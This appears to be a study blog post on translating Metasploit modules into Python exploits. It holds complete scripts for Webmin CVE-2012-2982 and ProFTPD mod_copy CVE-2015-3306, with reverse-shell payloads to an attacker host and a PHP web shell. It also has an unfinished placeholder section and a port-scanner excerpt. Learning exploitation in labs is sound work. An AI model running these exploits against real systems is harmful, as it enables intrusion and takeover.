Python Exploit Development

June 18th, 2020

Here I will dissect intermediate to advanced python code in an attempt to improve reading and writing python. Examples will include shellcode, buffer overflows, shells, reconnaissance scripts/tools, brute forcing scripts, hash decoders and much more.

We all know how valuable it is to be able to manually exploit boxes, though it's not guaranteed that every potential vulnerability has public programs to use. Metasploit has a large repository on exploits and although we are only allowed one use on the exam, we are still able to use msfvenom freely and the source code of their modules in ruby to convert it to any language. I posted this question to a forum asking for resources on the topic of converting metasploit modules to personal exploits and got a much more detailed answer. Instead of focusing on converting modules, it should be apart of a bigger picture of being able to write exploit scripts based on proof of concept code. This is a detailed and delicate process that identifies the exact exploit process, needed parameters/payloads and a script that encompasses all of this, usually small in length (example). I was initially made aware of this by working with public exploits, and given details via this amazing article that gives an informative step by step process of how to convert the module. Really just reading through and experiencing enough examples will provide the best example.

Informative Resources

Methodology

  • Identify vulnerability

  • Identify exact exploit

  • Identify elements of custom payload (i.e getting a shell)

  • Condense the exploit for unnecessary code

  • Research as detailed as possible

  • Fully and intimately understand whats happening before memorizing and googling random code.

  • Test/visualize the code where you can

Ex.1 Gamezone - Converting From Metasploit to Python

The first encounter I had on tryhackme where, even though I wanted to avoid metasploit to get used to proper exploitation, I was at a loss of how to find a public exploit to suit my needs. I was forced to use metasploit, this module to be exact. The module exploits an arbitrary command execution vulnerability in Webmin 1.580, CVE-2012-2982. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges.

Here will be the break down of the exploit's ruby code to convert it to python

Detailed Explanation

CVE description: file/show.cgi in Webmin 1.590 and earlier allows remote authenticated users to execute arbitrary commands via an invalid character in a pathname, as demonstrated by a | (pipe) character.

This means that an input invalidation flaw within the binary file of show.cgi, exploited by using a | (pipe) character, allows for remote authenticated attackers to execute any command as a privileged user. Meaning all we need to do is input invalid characters and pipe those to a system command we might want (aka the command prompt). We can execute the payload, open a socket connection and send it back to the attacker listening with nc

Essentials

When using this metasploit module, there are four options that are needed to be set upon completion

  • need username & decoded hash password of a user (example in this case is agent47:videogamer124)

  • need to set victim IP and port

  • set SSL to false

  • need attacker IP and listening port for shell (is a windows box)

    • need to include socket library to send back a shell through the network

Translating Ruby code

The ruby code consists mainly of three different functions that perform different tasks in the exploitation process. I'm going to breakdown the three functions within the program: initialize, check and, exploit

Initialize

There is little technicality in this function, but the purpose is to initialize the program with essentials. It begins with a description of the exploit, authors and reference sites of the shellcode and associated CVE. This conversion is unessential and can be skipped.

There are a few simple parameters to take note of the update_info function that we might need to consider converting

  • Privileged = true - uses the exploit in a privileged manner

  • DisableNops = true - option to avoid NOP padding (NOP an assembly instruction that does nothing while padding affects CPU performance)

  • Space = 512 - maximum space in memory to store the payload

  • PayloadType = cmd- ensures that the payload the exploit uses is the cmd

And the register_options function

  • RPORT(10000)- sets the target port

  • 'SSL', [true, 'Use SSL', true]- whether or not the site uses HTTPS (this didnt so set to false)

  • 'USERNAME', [true, 'Webmin Username']- accepts the username

  • 'PASSWORD', [true, 'Webmin Password']- accepts the password

There is little to convert from this section other than:

  • amount of memory space for payload

  • CMD payload

  • placeholder for username and password

Check

  def check

    peer = "#{rhost}:#{rport}"

    vprint_status("Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method'  => 'POST',
        'uri'     => "/session_login.cgi",
        'cookie'  => "testing=1",
        'data'    => data
      }, 25)

    if res and res.code == 302 and res.get_cookies =~ /sid/
      vprint_good "Authentication successful"
      session = res.get_cookies.split("sid=")[1].split(";")[0]
    else
      vprint_error "Service found, but authentication failed"
      return Exploit::CheckCode::Detected
    end

    vprint_status("Attempting to execute...")

    command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

    res = send_request_cgi(
      {
        'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
        'cookie'  => "sid=#{session}"
      }, 25)


    if res and res.code == 200 and res.message =~ /Document follows/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

The purpose of this function is to determine if the website is vulnerable to the exploit, and checks the following information

  • Validity of compromised credentials by sending a POST request to the login page page=%2F&user=user&pass=pass/session_login.cgi

    • creates a response variable for using the function send_request_cgi to send the POST request

      • send_request_cgi connects to the server, creates a request, sends the request, reads the response.

    • if it returns a 302 (found) status code && the user cookies match /sid the session id

    • uses res.get_cookies.split to split the cookies into a list.

      • The cookie is formatted by reading the output of the Set-Cookie header. The actual cookie is a random alphanumeric string but there is other information (the name and path) that is apart of the header, this line of code simply gets rid of the excess information and stores the alphanumeric value. From the developer tools, we see the name sid proceeds the actual value, so the method split is used to split the text at "sid=" and returns an array, storing the alphanumeric value and the remaining text. It's then repeated to split at ";" and return an array with no elements, leaving only the alphanumeric cookie value.

  • Uses an echo command to display a line of five random characters (adding an additional five each loop) and stores them in a variable command

    • uses the send_request_cgi function to connect to the server, send a request, then read the response. In this case, the request being the exploit

      • Sends the server a new binary URI (/file/show.cgi/bin) with the random characters and user's authentication cookie (custom formatted) to create a hypothetical space for the payload.

    • Returns a 200 (OK) status code if the URI accepted the request and if the responding message is /Document follows/

From this section, we will need to convert mostly everything if we want to do a proper check instead of just running the exploit. We already know the server is vulnerable but for the sake of proper code writing, it would be wise to check first. We will need to convert:

  • the login page data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

  • the send_request_cgi POST request

    • uri: /session_login.cgi

    • cookie: testing=1

    • login page

  • res 302 code and if /sid cookies match the string of the compromised cookies

  • cookie splitting to format new URI properly

  • generating five random characters initially as well as an additional five each loop

  • additional cgi request for the /bin file and piping the random characters, along with the new compromised cookie

  • the confirmation 200 code and following message /Document follows/

Exploit

def exploit

    peer = "#{rhost}:#{rport}"

    print_status("Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method'  => 'POST',
        'uri'     => "/session_login.cgi",
        'cookie'  => "testing=1",
        'data'    => data
      }, 25)

    if res and res.code == 302 and res.get_cookies =~ /sid/
      session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
      if session and not session.empty?
        print_good "Authentication successfully"
      else
        print_error "Authentication failed"
        return
      end
      print_good "Authentication successfully"
    else
      print_error "Authentication failed"
      return
    end

    print_status("Attempting to execute the payload...")

    command = payload.encoded

    res = send_request_cgi(
      {
        'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
        'cookie'  => "sid=#{session}"
      }, 25)


    if res and res.code == 200 and res.message =~ /Document follows/
      print_good "Payload executed successfully"
    else
      print_error "Error executing the payload"
      return
    end

  end

The purpose of this function is to actually run the exploit. It does this with the following information

  • Uses compromised credentials by sending a POST request to the login page page=%2F&user=user&pass=pass/session_login.cgi

    • creates a response variable for using the function send_request_cgi to send the POST request

    • if it returns a 302 (found) status code && the user cookies match /sid the session id

    • uses res.get_cookies.scan to scan (per each match, a result is generated and added to a list) the user's response cookies for the session ID, separating by semi-colon. The second method .flatten[0] then stores the session ID in the first item of a list and uses an Or Equals operator in case it is empty.

    • prints a successful message if session is not empty

  • Creates a variable command to be the encoded payload defined in the 'Payload' section of the initialize function

    • payload.encoded calls the generate method, which is what sets the encoded method. Encoders are pulled from lists of "compatible encoders" within metasploit, the cmd in this case.

    • creates response variable to use the send_request_cgi function in order to enter invalid, random characters in the /bin path to execute our arbitrary command, cmd

    • sets the URI as "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|"

      • uploads this to the server using the compromised creds. As explained, it uses a binary file with an input invalidation flaw to generate random characters and pipe them to an arbitrary command

    • sets the cookie variable to the session id, /sid captured in the session variable

  • If response variable returns with 200 OK status code and a message that matches /Document follows/, indicate the payload executed successfully

We will need to convert everything from this function.

  • the login page data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

  • the send_request_cgi POST request

    • uri: /session_login.cgi

    • cookie: testing=1

    • login page

  • res 302 code and if /sid cookies match the string of the compromised cookies

  • cookie scanning to catch the compromised user's cookiesand condense the excess into an array

  • signify if the authentication is successful

  • store the payload (cmd) into a variable

  • send a cgi request for the /bin file with invalid characters piping it to the payload. The compromised cookie session is stored in the /sid to verify the user

  • the confirmation 200 code and following message /Document follows/

Conversions to Python

Initialize the payload

The most important task here is enabling python to execute /bin/sh

  • CMD payload

  • The need for memory allocation is automatically done in Python, we won't need to manually create space

The cmd payload is the most vital section here. Python has numerous was to execute shell commands, here will be a brief outline of the different examples and those most applicable to this situation. We will be using python3 so os.system is not relevant, instead we will be using subprocess

It's important to note that because the practice machine has python version 2.7, we will need to use subprocess.call as subprocess.run isn't implemented until python 3.5

Python 3

We need to use one of the following for the payload

  • subprocess.Popen(['/bin/sh', '-i'])

  • subprocess.run(['/bin/sh', '-i'])

We want to wait for the command to finish since it doesn't need to do anything other than execute a shell. In this case, using .run() would be more appropriate. The process will contain the output as either a string or bytes that can be decoded into a string.

Using .run(), we would get a CompletedProcess attribute (a variable attached to to class/object used without parenthesis) in return containing a stdout attribute. Using .popen() we would have to incorporate the communicate method and making the process more difficult.

Login

Instead of creating a function to check the creds, we can condense the steps to login once, return if 302 status code and return the /sid cookie to use in the payload POST request. The request should be fairly simple and we can achieve the necessary parameters by inspecting the cookies on Firefox.

  • the login page data = "page=%2F&user=agent47&pass=videogamer124"

  • the send_request_cgi POST request

    • uri: /session_login.cgi

    • cookie: testing=1

  • res 302 code and if /sid cookies match the string of the compromised cookies

  • cookie scanning to catch the compromised user's cookies and condense the excess into an array

data = {'page' : "%2F", 'user' : "agent47", 'pass' : "videogamer124"} #must be A dictionary, list of tuples, bytes or a file object
url = "http://localhost:10000/session_login.cgi"

r = requests.post(url, data=data, cookies={"testing":"1"}, verify=False, allow_redirects=False) #send POST request to login 

#if status code 302 found and sid not empty 
if r.status_code == 302 and r.cookies["sid"] != None:
	print("[+] Login successful, executing payload")
else:
	print("[-] Failed to login")

sid = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() #replace the sid cookie newline character, split at = and store second element sid in array, split at ; and store in array, strip white space
print(sid)

Exploit

The exploit section of our code will be pretty straightforward. We will write a function to generate a random, five character string and a payload which opens the shell via subprocess, captures the output, properly encodes the output and sends it via POST request. I'm going to replicate the program as much as possible and attempt to send the payload as a URI compared to sending it as data.

  • Create a random character and payload function

  • send a POST request to the /bin directory with invalid characters piping it to the payload. The compromised cookie session is stored in the /sid to verify the user, returned from login function

  • the confirmation 200 code and following message "Document follows"

The simplest way to upload the payload would be to replicate the original program by formatting it inside of the URL. This saves space and makes the program easier by directly piping the invalid character to the payload. In order to do this, we'll have analyze the type of data we're dealing with.

As we are going to use the .run() or .call() methods, the subprocess will contain the output as a string or bytes which can be decoded into a string (shown above). Initially I tried to use .run() which has a CompletedProcess object with a stdout attribute. What this means is, the subprocess will return bytes that we'll need to decode into a string, in order to call/format the payload inside of the URL string. The type of data must be equal. We can use the operator modulo with the syntax %s to format the two functions as strings.

We can craft an invalid character function identical to the ruby code, using five random alphanumeric characters. Using the strings library, as there is not one single alphanumeric attribute we can combine the .ascii_letters with .digits to form a custom alphanumeric variable.

#generates random characters and delivers the payload
def rand():
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters
	return randChar
#explain change from .popen to .run, .run() to let the command finish to retrieve complete output?
def payload():
	exploit = subprocess.run(['/bin/sh', '-i'], capture_output=True)
	con1 = exploit.stdout #captures the stdout of the subprocess (bytes)
	con2 = con1.decode("utf-8") #decodes the bytes into a string
	return con2

exp = "http://localhost:10000/file/show.cgi/bin/" + '%s|%s|' % (rand(), payload())

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False) #send POST request to login 
#if status code 200 found and response message equals string
if req.status_code == 200 and req.reason == "Document follows":
	print("[+] Payload successful, sending shell")
else:
	print("[-] Failed to execute payload")

#Opens network socket to send shell to attacker IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))  #attacking IP/port
s.sendall(req.content) 
data = s.recv(1024) #socket atempts to receive data, number is arbitrary buffer size 
s.close()

There are several mistakes that I've made here.The first being that I didn't properly encode/decode the payload function. In the first picture, the b' ' indicates that the content of the POST request was empty, confirmed by the second picture. The second picture highlights another error, the socket is opening on the computer that runs the program instead of the victim computer.

The overall mistake was that I simply took the output and decoded it as a string without first encoding it as a string, encoding that into base64, bytes that can be sent over the socket, and decoded those bytes into a string to be inserted into the URL. We'll have to use the base64 library to encode the payload in ASCII characters in order for the systems to properly handle the data and exchange it over the socket. There is a lot of essential information in this base64 article, outlining the process of encoding and decoding strings in python. I found some similar code that solves both problems in the same function and provides the proper syntax. It does this by using the base64 library to execute opening a socket and calling the system shell, encoding and decoding it properly.

#generates random characters and delivers the payload
def rand():
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters
	return randChar

def payload():
    payload = "python -c \"import base64;exec(base64.b64decode('" #run python command to execute base64
    shell = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])" #open a socket, send it to the attacking host/port, open the shell
    shell = str.encode(shell) #encode the shellcode as a string
    encoded = base64.b64encode(shell) #encode the string with base64
    encoded = encoded.decode("utf-8") #decode that with utf-8 to be used as a string in the exploit URL
    closing = "'))\"" #close the payload
    payload += encoded #updated the payload to contain the encoded/decoded parameters
    payload += closing
    return payload

exp = "http://localhost:10000/file/show.cgi/bin/" + "%s|%s|" % (rand(), payload())

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False) #send POST request to upload shellcode 

Final Exploit & Test

python gamezone.py don't forget to change the IP accordingly and listen for the shell

Original

#!/usr/bin/env python

"""
CVE-2012-2982 translated from ruby metasploit module (/webmin_show_cgi_exec.rb) 
program outline:
	 - POST request with compromised creds to get the cookie
	 - exploit using invalid characters to get system shell
	 - fetches system shell as root
	 - sends shell through socket to listening attacker IP
usage: 
	# - MUST BE SSH TUNNELED INTO MACHINE TO ACCESS localhost
	# - python gamezone.py 
	# - listen with nc -nlvp 4445 on attacker
"""

import sys, os, subprocess, requests, socket, string, secrets, base64

lhost = "10.10.0.0" #attacker IP CHANGE, needs to be a string to convert in payload function
lport = "4445" # listening port, string to convert in payload function

#Login with compromised creds and print good status response
creds = {'page' : "%2F", 'user' : "agent47", 'pass' : "videogamer124"} #must be A dictionary, list of tuples, bytes or a file object
url = "http://localhost:10000/session_login.cgi"

r = requests.post(url, data=creds, cookies={"testing":"1"}, verify=False, allow_redirects=False) #send POST request to login 
#if status code 302 found and sid not empty 
if r.status_code == 302 and r.cookies["sid"] != None:
	print("[+] Login successful, executing payload (listen for shell)")
else:
	print("[-] Failed to login")

sid = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() #replace the sid cookie newline character, split at = and store the second element (sid) of array, split at ; and stop at first element in array, strip remaining

#generates random characters and delivers the payload
def rand():
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters
	return randChar

def payload():
    payload = "python -c \"import base64;exec(base64.b64decode('" #run python command to execute base64
    shell = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])" #open a socket, send it to the attacking host/port, open the shell
    shell = str.encode(shell) #encode the shellcode as a string
    encoded = base64.b64encode(shell) #encode the string with base64
    encoded = encoded.decode("utf-8") #decode that with utf-8 to be used as a string in the exploit URL
    closing = "'))\"" #close the payload
    payload += encoded #updated the payload to contain the encoded/decoded parameters
    payload += closing
    return payload

exp = "http://localhost:10000/file/show.cgi/bin/" + "%s|%s|" % (rand(), payload())

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False) #send POST request to upload shellcode 

Revision

#!/usr/bin/env python

#usage: python3 web.py <targetIP>
import sys, requests, string, secrets

targetIP = sys.argv[1]
lhost = "10.10.10.10" #attacker IP
lport = "53" #listening port

data = {'page' : "%2F", 'user' : "user1", 'pass' : "1user"}
url = f"http://{targetIP}/session_login.cgi"

r = requests.post(url, data=data, cookies={"testing":"1"}, verify=False, allow_redirects=False)

if r.status_code == 302 and r.cookies["sid"] != None:
	print("[+] Login successful, executing payload")
else:
	print("[-] Failed to login")

sid = r.cookies["sid"]

def rand():
	alphaNum = string.ascii_letters + string.digits
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5))
	return randChar

def payload():
	payload = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport}<&1'"
	return payload

exp = f"http://{targetIP}/file/show.cgi/bin/{rand()}|{payload()}|"

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False)

Final Thoughts

There was much trial and error on my first attempt. Identifying and learning my mistakes along the way, as well as finding loose sample code as a reference were some of the most pivotal tools I had. Aside from this, the most important things I learned translating this module was

  • Research as detailed as possible.

    • Not every vital piece of information was found on documentation pages or slackoverflow.

  • Fully and intimately understand whats happening before memorizing and googling random code.

    • Knowing how/why I needed to properly encode the exploit but missing two steps eventually lead me to the proper syntax

  • Prepare to adapt and customize.

    • Python didn't immediately have an alphanumeric attribute but combining two to make one was an easy fix.

  • Test where you can.

    • Visualizing the POST request to format cookies, the output data type of subprocess and testing each increment of my code to flow better was good practice to identify mistakes and bugs.

Ex.2 ProFTPD 1.3.5 Mod_Copy Command Execution - Converting From Metasploit to Python

I've seen this version of FTP used frequently on boxes and I came to find out that there is a remote command execution vulnerability, this module to be exact. Here I'll breakdown the module mod_copy and why/how it was vulnerable and to achieve a shell with privileged access using python, CVE-2015-3306. The vulnerability exists in version 1.3.5 of ProFTPD through leveraging site cpfr/cpto FTP commands. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

Detailed Explanation

CVE/Module description: "The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible."

This means that if we anonymously connect to the FTP server and run a couple site commands, we can effectively use a single line PHP code to open the system shell remotely.

To demonstrate this, I found a github repo that I set up on Ubuntu Server 16.04. The repo uses docker to install ProFTPD 1.3.5 and Apache2 with PHP5 to setup the necessary environment. There exists a Python PoC code for this CVE within the repo as well as searchsploit but I'm going off of the content in the ruby code.

Translating Ruby Code

I've made it a goal to condense my programs when they get repetitive so I'll just be breaking down the exploit function. The initialize function simply loads all the necessary information such as target IP and payload type which is all a given, I will be using arguments to input this information. The check function simply verifies that the target is vulnerable to the payload, I've already confirmed this is ProFTPD 1.3.5 running with Apache2 and PHP5.

Exploit can be broken down into a few tasks:

  1. create a PHP payload

  2. open a socket to the target

  3. check if the connection was successful & if the target is vulnerable

  4. sends four SITE commands through the socket to copy and write the /proc/self/cmdline file to a destination (our payload) and copy the payload to a .php file

  5. sends a GET request to execute the cmd through a URL (encoded)

  • Uses rand_text_alphanumeric(5+rand(3)) + '.php' to generate a random three character alphanumeric string and append it to a .php file

  • Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port }) opens a TCP socket to the target IP and port FTP 21

  • The if statement with sock.nil? is to verify that the socket connection is not empty

  • Uses sock.puts to output a print statement through socket connection, the target's FTP server on port 21

    • site cpfr <fileToCopy> is used to copy a file while site cpto <Destination> specifies the destination. The file /proc/self/cmdline is used by the module because it allows us to store a PHP payload and it contains the PID of bash. They obtained these commands through the original bug tracker

  • PHP payload used is to fetch the cmd pointing to the system shell, previously I used<?php echo shell_exec($_GET['cmd']); ?> to open the cmd and will use this initially

  • Closes the socket connection

  • sends a GET request to fetch the system cmd with encoded payload

Information to Convert

  • Open a socket to send and receive data (encode to be used as strings) for at least four commands, initial connection, and "Copy successful" from final command

  • PHP code to execute the cmd - <?php echo shell_exec($_GET['cmd']); ?>

  • SITE cpfr/cpto commands, two each, two to copy /proc/self/cmdline with destination in /tmp/. with one to copy /tmp/. to a .php file

  • GET request to access the cmd through the URL

Conversions to Python

Unlike the last exploit that required just two POST requests and two unique functions, this program will require object oriented programming and the use of a class and methods. Using a class in this case will make the code cleaner and more concise. The attributes of the socket, victim address, target port, and path to PHP reverse shell will need to be used by multiple methods. In theory we don't really need a class to handle this, but it does make the code more consistent and adaptable.

Payload Class

Just like the module, we'll need a small method to initialize all of our parameters and store those values, we know that it will have to contain a socket, target IP, target port and the path where the website resides on the machine. To do this, we can use the native Python method __init__

This is a native method strictly for the purpose of initializing the object's state. Any arguments that we'll use will pass through __init__ to initialize the object, or give it some type of value. It also uses the native keyword self which represents the instance of the class, the self keyword allows us to access the attributes and methods of the class to be used interchangeably. Methods in python are designed in a way that makes the instance to which the method belongs be passed automatically, but not received automatically, needing to initialize each method as def __method(self). In this case the attributes we need are the socket, IP, port, and path.

class Payload:
        def __init__(self, target, port, path):
                self.__sock = None #create method to initialize
                self.__target = target #initialize the target IP
                self.__port = port
                self.__path = path

We'll need a small method titled __socket to open a connection to the target and receive data. The purpose of a leading double underscore in class syntax is to use variables or methods if they are needed outside of the class/method, it tells the interpreter to rewrite the name in order to avoid conflict within a class. The socket method is not essential, we could include this in the payload method however, if errors arise it would make distinguishing the issue easier.

def __socket(self):
        self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__sock.connect((self.__target, self.__port))
        self.__sock.recv(1024) #1024 indicates the size of the buffer needed to empty the bytes in transit

__payload method

This method will contain the most important elements of our exploit, initializing the PHP code, sending the SITE commands and GET requests to execute the shell.

From prior CTFs I was familar with a way to execute the cmd with PHP using this line <?php echo shell_exec($_GET['cmd']); ?> but I wanted to experiment and see if there was a shorter way to run a stable reverse shell. I tried entering the entire PHP code of Kali's default shell, I tried to exec() with /bin/sh to call the shell directly, I tried to open a socket directly and call the shell, as well as use file_put_contents to directly download the shell from the attacking machine. Ultimately none of these techniques worked aside from the first one, which I stored in a variable shell.

Next we have to, almost identically to the ruby code, open a socket and send the first SITE command. To interact with the socket connection to the target, we can use the self keyword calling .sock self.__sock.send()

When data is sent over a network, it is sent in bytes so that it is machine readable, this translates in Python to a byte literal statement. We only need to use this syntax once as it is the initial connection with the socket, we don't need it once the socket is established.

Finally, we need to include the given SITE command inside the socket connection self.__sock.send(b"site cpfr /proc/self/cmdline\n")

The following SITE command copies the file to a location in /tmp, I've listed the location of the end result to show why the syntax is "/tmp/."

This line of code also requires that we encode it with "UTF-8" a Unicode string is turned into a string of bytes to be used through the socket. We've already established the connection so any data exchanged will be bytes. What happens if we don't include .encode("utf-8")

If we included all as byte literal statements, we receive this error

The path of the website lies in the default /var/www/html, the final copy destination of the payload.

We know from the bug tracker picture that the final message after successfully copying the malicious file is "Copy successful" we can include an if statement to verify that the SITE commands executed without error and the exploit has started. We also have to decode the response into a string as it is sent with bytes if "Copy successful" in str(self.__sock.recv(1024))

If the payload method was successful, we should now have the PHP file in the website directory and initial access, I've listed the contents below

We can run commands through the URL but I would rather have a stable reverse shell. In order to do this, we can use wget through the URL cmd to download a PHP reverse shell from our attacking machine. We can use another GET request to execute the reverse shell and listen on the receiving port.

def __payload(self):
    shell = "<?php echo shell_exec($_GET['cmd']); ?>"
    self.__sock.send(b"site cpfr /proc/self/cmdline\n")
    self.__sock.recv(1024)
    self.__sock.send(("site cpto /tmp/." + shell + "\n").encode("utf-8"))
    self.__sock.recv(1024)
    self.__sock.send(("site cpfr /tmp/." + shell + "\n").encode("utf-8"))
    self.__sock.recv(1024)
    self.__sock.send(("site cpto " + self.__path + "/shell.php\n").encode("utf-8"))

    if "Copy successful" in str(self.__sock.recv(1024)):
        print("[+] Exploit successful, fetching shell @ http://" + self.__target + "/run.php")
    else:
        print("[-] Error")

    r = requests.get("http://" + self.__target + "/shell.php?cmd=wget http://10.0.2.7/run.php")
    g = requests.get("http://" + self.__target + "/run.php") #default kali PHP reverse shell

We also need a method to actually execute the socket and payload objects. This method does not need a leading double underscore because it doesn't use any objects that are needed outside of the method, compared to socket and payload which both have objects needed outside of their respective methods. We will call this method in the main function.

def exe(self):
        self.__socket()
        self.__payload()

The main function is simple, it carries the values of arg (target, port and path) and prints a statement verifying the arguments. It creates a new variable to store the Payload class and obtains the exe() method to execute it.

def main(arg):
    print("[+] Targeting " + arg.target + ":" + arg.port + " listen for the shell on port 53")

    payload = Payload(arg.target, int(arg.port), arg.path)
    payload.exe()

__name__ in Python is a native variable meaning it evaluates the name of the current module that is being executed. We can include an if statement to pass the necessary arguments into main using the argparse library

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument('--target', required=True)
    p.add_argument('--port', required=True)
    p.add_argument('--path', required=True)
    arg = p.parse_args()

    main(arg)

Final Exploit & Test

python3 ftp.py --target 10.0.2.15 --port 21 --path "/var/www/html" start a Python HTTP server and listen on port 53

#!/usr/bin/env python
import sys, os, requests, socket, argparse

class Payload:
    def __init__(self, target, port, path):
        self.__sock = None
        self.__target = target
        self.__port = port
        self.__path = path

    def __socket(self):
        self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__sock.connect((self.__target, self.__port))
        self.__sock.recv(1024)

    def __payload(self):
        shell = "<?php echo shell_exec($_GET['cmd']); ?>"
        self.__sock.send(b"site cpfr /proc/self/cmdline\n")
        self.__sock.recv(1024)
        self.__sock.send((f"site cpto /tmp/.{shell}\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send((f"site cpfr /tmp/.{shell}\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send((f"site cpto {self.__path}/shell.php\n").encode("utf-8"))

        if "Copy successful" in str(self.__sock.recv(1024)):
            print(f"[+] Exploit successful, fetching shell @ http://{self.__target}/run.php")
        else:
            print("[-] Error")

        r = requests.get(f"http://{self.__target}/shell.php?cmd=wget http://10.0.2.7/run.php")
        g = requests.get(f"http://{self.__target}/run.php") #default kali php reverse shell

    def exe(self):
        self.__socket()
        self.__payload()

def main(arg):
    print(f"[+] Targeting {arg.target}:{arg.port} listen for the shell on port 53")

    payload = Payload(arg.target, int(arg.port), arg.path)
    payload.exe()

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument('--target', required=True)
    p.add_argument('--port', required=True)
    p.add_argument('--path', required=True)
    arg = p.parse_args()

    main(arg)

Ex.3 Source (Webmin 1.89)

w

Detailed Explanation

w

Translating Ruby code

The ruby code consists mainly of two different functions that perform different tasks in the exploitation process. I'm going to breakdown all five functions within the program: initialize, check, exploit, execute_command, and token.

Initialize

w

Check

w

Exploit

w

Execute_comman

w

Token

w

Information to Convert

w

  • wwww

Conversions to Python

w

Final Exploit & Test

w

w

w

Ex.4 Ice - Buffer Overflow Python Script

buffer overflow practice

Ice (manual exploitation) Write-Up

Buffer Overflow Python Script

this has already been written per the above link, but we want to understand these processes for ourselves.

Chapter 2: Violent Python: A Cookbook for Hackers, Forensic Analysts & Penetration Testing

Violent Python is a book that instructs you how to leverage the Python language to craft personalized tools used in information security. This book demonstrates how to write Python scripts to automate large-scale network attacks, extract metadata, investigate forensic artifacts, write code to intercept & analyze network traffic using Python, craft and spoof wireless frames to attack wireless and Bluetooth devices, how to data-mine popular social media websites, and evade modern anti-viruses.

Chapter 2 focuses on Penetration Testing with Python and highlights several different techniques and methods for port scanning, making a botnet, brute forcing keys and other miscellaneous topics.

Port Scan

In the following section, we will build a small reconnaissance script that scans a target host for open TCP ports. In order to interact with TCP ports, we will need to first construct TCP sockets. Python, like most modern languages, provides access to the BSD socket interface. BSD sockets provide an API that allows coders to write applications in order to perform network communications between hosts. Through a series of socket API functions, we can create, bind, listen, connect, or send traffic on TCP/IP sockets.

An attacker routinely performs a port scan, sending a TCP SYN packet to a series of common ports and waiting for a TCP ACK response that will result in signaling an open port. In contrast, a TCP Connect Scan uses the full three-way handshake to determine the availability of the service or port.

  • input a hostname and a comma separated list of ports to scan

  • translate the hostname into an IPv4 Internet address

  • for each port, connect to the target address and specific port

  • to determine the specific service running, send garbage data and read the banner results

connScan()

This function opens a socket to the victim IP, connects to send garbage data for an ACK response and prints the result. It utilizes the Semaphore function to serve as an internal counter

from socket import *
from threading import *

screenLock = Semaphore(value=1)
def connScan(rhost, rport):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((rhost, rport))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        screenLock.acquire()
        print '[+] %d/tcp open' % rport
        print '[+] ' + str(results)
    except:
        screenLock.acquire()
        print '[-] %d/tcp closed' % rport
    finally: #do this regardless of input
	    screenLock.release()
	    connSkt.close()	

screenLock = Semaphore(value=1) : manages an internal counter which is decremented by each acquire() call and incremented by each release() call. Semaphore is used to coordinate activity between multiple threads or processes. It is a variable or abstract data type used to control access to a common resource by multiple processes. The optional argument gives the initial value for the internal counter, defaulting to 1. Here it is necessary as a result of the Thread in portScan().

As we need to print the output of each scan, using multiple threads for this could appear out of order. A semaphore's purpose in this case is to allow a function to have complete control over the screen. The semaphore provides a lock to prevent other threads from executing.

